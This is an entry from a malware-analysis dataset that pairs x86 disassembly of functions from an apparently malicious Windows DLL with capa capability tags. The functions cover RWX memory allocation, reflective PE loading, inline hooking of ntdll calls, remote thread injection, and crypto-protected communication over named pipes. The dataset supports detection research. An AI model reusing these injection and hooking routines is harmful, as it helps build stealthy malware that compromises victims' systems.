joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002963
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 0x110
xor esi, esi
lea eax, [ebp - 0x114]
push esi
push eax
call fcn.100125a0
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x100029ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002a8f
cmp dword [ebp - 0x114], 5
jne 0x100029c8
cmp dword [ebp - 0x110], 2
jne 0x100029c8
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1000299f
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x3000
push 0x40
push ebx
push 0x52
push 0
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x100029f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002a8d
push 0x40
push ebx
push 0x149
push 0
call edi
mov edi, eax
test edi, edi
jne 0x10002a0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002a6d
push 0x52
push 0x1002cf00
push dword [ebp - 4]
call fcn.10011ee0
push 0x129
push 0x1002cf58
push edi
call fcn.10011ee0
mov eax, dword [ebp + 8]
lea ebx, [edi + 0x129]
and dword [ebx + 0x18], esi
add esp, 0x18
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
mov eax, dword [ebp + 0x10]
push ebx
push edi
mov dword [ebx + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10002a5d
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10002a04
mov ecx, dword [ebx + 0x18]
test ecx, ecx
jne 0x10002a68
push 6
jmp 0x10002a55
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x4000
push 0
push dword [ebp - 4]
call ebx
test edi, edi
je 0x10002a8d
push 0x4000
push 0
push edi
call ebx
pop edi
pop ebx
mov eax, esi
pop esi
leave
ret

Function at 0x1000434a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x5c
push esi
call fcn.10012700
pop ecx
pop ecx
test eax, eax
je 0x10004362
lea esi, [eax + 1]
push 0x40
push 0x1000
push 0x180
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1002f044], eax
test eax, eax
je 0x10004405
push eax
call fcn.1000464f
push 0xff
push esi
push 0x100
push dword [0x1002f044]
call fcn.100185bc
push dword [0x1002f044]
call fcn.10018480
lea ecx, [eax + 1]
mov eax, dword [0x1002f044]
mov dword [eax + 0x100], ecx
mov ecx, dword [0x1002f044]
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x108], eax
push dword [0x1002f044]
call fcn.100048a1
add esp, 0x1c
push dword [0x1002f044]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x1002f044]
mov esi, eax
call fcn.100047cb
mov dword [esp], 0x8000
push 0
push dword [0x1002f044]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop esi
pop ebp
ret
Function at 0x100045d3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push edi
mov edi, dword [ebp + 0xc]
push eax
push 5
push edi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
mov byte [esi + 5], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 6], eax
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
mov eax, dword [ebp + 0x14]
sub eax, edi
mov byte [edi], 0xe9
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
leave
ret

Function at 0x1000464f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x1002d2f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x1000476a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x1002d300
push ebx
call esi
push 0x1002d314
push ebx
mov edi, eax
call esi
push 0x1002d32c
push dword [ebp - 4]
mov ebx, eax
call esi
push 0x1002d338
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
push 0x1002d348
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call esi
push 0x1002d358
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call esi
mov esi, dword [ebp + 8]
push 0x10004578
add esi, 0x13c
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.100045d3
mov dword [edi + 0x178], esi
lea esi, [edi + 0x11e]
push 0x100044ad
push esi
push ebx
push edi
call fcn.100045d3
mov dword [edi + 0x16c], esi
lea esi, [edi + 0x128]
push 0x1000450d
push esi
push dword [ebp - 8]
push edi
call fcn.100045d3
mov dword [edi + 0x170], esi
lea esi, [edi + 0x132]
push 0x10004553
push esi
push dword [ebp - 0xc]
push edi
call fcn.100045d3
add esp, 0x40
mov dword [edi + 0x174], esi
lea esi, [edi + 0x114]
push 0x1000446e
push esi
push dword [ebp - 0x10]
push edi
call fcn.100045d3
mov dword [edi + 0x168], esi
lea esi, [edi + 0x146]
push 0x100045b0
push esi
push dword [ebp - 4]
push edi
call fcn.100045d3
add esp, 0x20
mov dword [edi + 0x17c], esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000476d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
leave
ret

Function at 0x100047cb
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x1002d360
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x1000489e
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.NtMapViewOfSection
push ebx
call esi
push str.NtQueryAttributesFile
push ebx
mov edi, eax
call esi
push str.NtOpenFile
push dword [ebp - 4]
mov ebx, eax
call esi
push str.NtCreateSection
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
push str.NtOpenSection
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call esi
push str.NtClose
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call esi
mov ecx, dword [ebp + 8]
mov esi, eax
add ecx, 0x13c
push ecx
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.1000476d
lea ecx, [edi + 0x11e]
push ecx
push ebx
push edi
call fcn.1000476d
lea eax, [edi + 0x128]
push eax
push dword [ebp - 8]
push edi
call fcn.1000476d
lea eax, [edi + 0x132]
push eax
push dword [ebp - 0xc]
push edi
call fcn.1000476d
lea eax, [edi + 0x114]
push eax
push dword [ebp - 0x10]
push edi
call fcn.1000476d
lea eax, [edi + 0x146]
push eax
push esi
push edi
call fcn.1000476d
add esp, 0x48
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100048a1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
mov eax, dword [edi + 0x108]
mov esi, dword [eax + 0x3c]
add esi, eax
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
mov dword [edi + 0x10c], eax
test eax, eax
jne 0x100048e8
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
call ebx
mov dword [edi + 0x10c], eax
mov eax, dword [esi + 0x50]
push str.NtLockVirtualMemory
push 0x1002d3dc
mov dword [edi + 0x110], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004929
mov ecx, dword [edi + 0x10c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x50]
mov dword [ebp + 8], ecx
lea ecx, [ebp + 8]
push 1
push ecx
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
call eax
push 0
push dword [esi + 0x54]
push dword [edi + 0x108]
push dword [edi + 0x10c]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [esi + 0x14]
xor eax, eax
and dword [ebp + 8], 0
add ebx, 0x2c
cmp ax, word [esi + 6]
jae 0x10004989
add ebx, esi
mov eax, dword [ebx]
add eax, dword [edi + 0x108]
push 0
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [edi + 0x10c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp + 8]
lea ebx, [ebx + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp + 8], ecx
cmp ecx, eax
jl 0x10004957
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004d0a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x18
push 0x1002a100
call fcn.10010e70
xor esi, esi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10004d26
xor eax, eax
jmp 0x10004dba
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp + 8], eax
mov edx, dword [ebx + 0x20]
add edx, edi
mov dword [ebp - 0x20], edx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0xc]
test ecx, 0xffff0000
jne 0x10004d63
movzx eax, cx
sub eax, dword [ebx + 0x10]
jmp 0x10004d8a
mov ebx, dword [ebx + 0x18]
mov dword [ebp - 0x28], ebx
mov eax, ebx
dec ebx
mov dword [ebp - 0x28], ebx
test eax, eax
je 0x10004db4
mov eax, dword [edx]
add eax, edi
push ecx
push eax
call fcn.100183f0
pop ecx
pop ecx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x10004d94
movzx eax, word [eax]
mov esi, dword [ebp + 8]
mov esi, dword [esi + eax*4]
add esi, edi
jmp 0x10004db1
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
jmp 0x10004d69
mov dword [ebp - 0x24], esi
or dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10004eb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x14
push 0x1002a0f0
call fcn.10010e70
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x10004f42
cmp dword [ebp + 0xc], eax
je 0x10004f42
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push esi
call fcn.10004dcb
pop ecx
pop ecx
test eax, eax
je 0x10004f2a
add eax, esi
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10004f2a
call dword [ebp + 8]
test eax, eax
je 0x10004f19
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10004f44
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10005099
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
jbe 0x100050bc
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ecx
and eax, 3
mov al, byte [eax + esi]
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x100050aa
pop esi
pop ebp
ret
Function at 0x1000579a
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
add eax, 0xfffffffc
push esi
push edi
push eax
lea eax, [ebx + 4]
xor esi, esi
push eax
push ebx
mov dword [ebp - 4], esi
call fcn.10005099
push 0x34
push 1
call fcn.10015369
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x100057d4
push 8
pop esi
jmp 0x1000590c
push dword [ebx + 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x100058bb
cmp dword [ecx + 0xc], esi
je 0x100058bb
test eax, eax
je 0x100058bb
push dword [ebx + 0x18]
call dword [sym.imp.WS2_32.dll_ntohl]
sub eax, 0x18
mov dword [ebp + 0x14], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push esi
push esi
mov eax, dword [eax + 0x58]
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x10005831
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10005901
push esi
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 1
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005824
push esi
lea eax, [ebx + 0x20]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005824
lea eax, [ebp + 0x14]
push eax
lea eax, [ebx + 0x30]
push eax
push esi
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10005824
cmp dword [ebp + 0x14], esi
je 0x100058ab
lea eax, [ebx + 0x20]
test eax, eax
jne 0x10005897
call fcn.1001893f
mov dword [eax], 0x16
call fcn.10018883
jmp 0x100058ab
lea ecx, [ebx + 0x30]
test ecx, ecx
je 0x10005885
push dword [ebp + 0x14]
push ecx
push eax
call fcn.10013a50
add esp, 0xc
mov eax, dword [ebp + 0x14]
add eax, 8
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebx + 0x18], eax
mov ecx, dword [ebx + 0x18]
mov dword [edi + 0x18], ecx
mov eax, dword [ebx + 0x1c]
push ecx
mov dword [edi + 0x1c], eax
call dword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
push eax
mov dword [edi + 0x24], eax
call fcn.1001535e
pop ecx
mov ecx, eax
mov dword [edi + 0x20], ecx
test ecx, ecx
jne 0x100058e9
push 8
pop esi
jmp 0x10005905
push dword [edi + 0x24]
lea eax, [ebx + 0x20]
push eax
push dword [edi + 0x24]
push ecx
call fcn.10005e67
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov dword [eax], edi
test esi, esi
je 0x1000590c
push edi
call fcn.100036a2
pop ecx
cmp dword [ebp - 4], 0
je 0x1000591b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10005cdf
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Import public key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
mov esi, ebx
mov dword [ebp - 0xc], ebx
push edi
mov edi, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x10005e1d
cmp dword [ebp + 0xc], ebx
je 0x10005e1d
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x8000
push dword [ebp + 0xc]
push dword [ebp + 8]
push 8
push 1
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x10005d3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10005e22
push 0xf0000000
push 1
push 0x1002d798
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
jne 0x10005d6c
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
je 0x10005d2e
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push 1
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
je 0x10005d2e
mov eax, dword [ebp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push eax
push 1
push eax
push dword [ebp - 4]
call ebx
push dword [ebp + 8]
push 1
call fcn.10015369
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x10005db6
push 0xe
pop esi
jmp 0x10005e31
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push edi
call fcn.10005e67
add esp, 0x10
lea eax, [ebp + 0x14]
push dword [ebp + 8]
push eax
push edi
push 0
push 1
push 0
push dword [ebp - 4]
call ebx
test eax, eax
je 0x10005d2e
mov edx, dword [ebp + 8]
xor ebx, ebx
test edx, 0xfffffffe
jbe 0x10005e11
mov cl, byte [ebx + edi]
sub edx, ebx
mov al, byte [edx + edi - 1]
mov byte [ebx + edi], al
mov eax, dword [ebp + 8]
sub eax, ebx
inc ebx
mov byte [eax + edi - 1], cl
mov edx, dword [ebp + 8]
mov eax, edx
shr eax, 1
cmp ebx, eax
jb 0x10005df0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
mov dword [eax], edx
jmp 0x10005e22
mov esi, 0xa0
test esi, esi
je 0x10005e31
test edi, edi
je 0x10005e31
push edi
call fcn.10015359
pop ecx
cmp dword [ebp - 0xc], 0
je 0x10005e40
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 4], 0
je 0x10005e4f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 8], 0
je 0x10005e60
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100067f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006828
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000685d
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x10006855
mov eax, esi
add eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push esi
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006855
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
sub edi, dword [ebp - 4]
jne 0x10006832
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x10006912
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x1c], 0
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
lea edi, [ebp - 4]
cmovne edi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x100069cb
mov eax, dword [0x1002f068]
mov dword [ebp + 0x1c], ebx
cmp dword [0x1002f06c], ebx
jne 0x10006986
test eax, eax
jne 0x1000697c
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002f068], eax
mov dword [0x1002f06c], 1
test eax, eax
je 0x100069c3
push ebx
lea ecx, [ebp + 0x1c]
shr esi, 2
push ecx
push dword [ebp + 0x14]
and esi, 1
push dword [ebp + 0x10]
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp + 8]
call eax
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x100069cb
test edi, edi
je 0x100069cb
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [edi], eax
jmp 0x100069cb
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007247
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, esi
push dword [edi + 0x10194]
call fcn.1000b70b
pop ecx
cmp dword [ebp + 0x10], ebx
jbe 0x100072b1
lea eax, [edi + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push esi
sub eax, ebx
mov dword [ebp + 8], esi
push eax
push dword [ebp + 0xc]
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x14]
push eax
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x100072a9
add ebx, dword [ebp + 8]
lea eax, [edi + 0x14]
cmp ebx, dword [ebp + 0x10]
jb 0x10007268
jmp 0x100072b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push dword [edi + 0x10194]
call fcn.1000b721
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x10007466
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x1002df18
xor esi, esi
call fcn.100073d7
mov ebx, dword [ebp + 8]
add esp, 0xc
mov edi, 0x10000
test eax, eax
jne 0x100074e0
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.100072d4
pop ecx
lea eax, [ebp - 0x10]
mov edi, 0x10000
push eax
push esi
push edi
push edi
push 0xff
push esi
push 0x40000003
lea eax, [ebx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebx + 0x170], eax
cmp dword [ebp - 4], esi
jne 0x100074e0
lea eax, [ebp - 4]
push eax
push esi
push 0x1002df40
call fcn.100073d7
add esp, 0xc
mov eax, dword [ebx + 0x170]
cmp eax, 0xffffffff
jne 0x10007519
push esi
push esi
push edi
push edi
push 0xff
push esi
push 0x40000003
lea eax, [ebx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebx + 0x170], eax
cmp eax, 0xffffffff
jne 0x10007519
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10007553
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push 1
push 1
push esi
call edi
mov dword [ebx + 0x10], eax
test eax, eax
je 0x1000750f
push esi
push esi
push 1
push esi
call edi
mov dword [ebx + 0x24], eax
test eax, eax
je 0x1000750f
push 0x100071db
push 0x10006f1c
push esi
push ebx
push dword [ebx + 0x10]
call fcn.10006abb
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret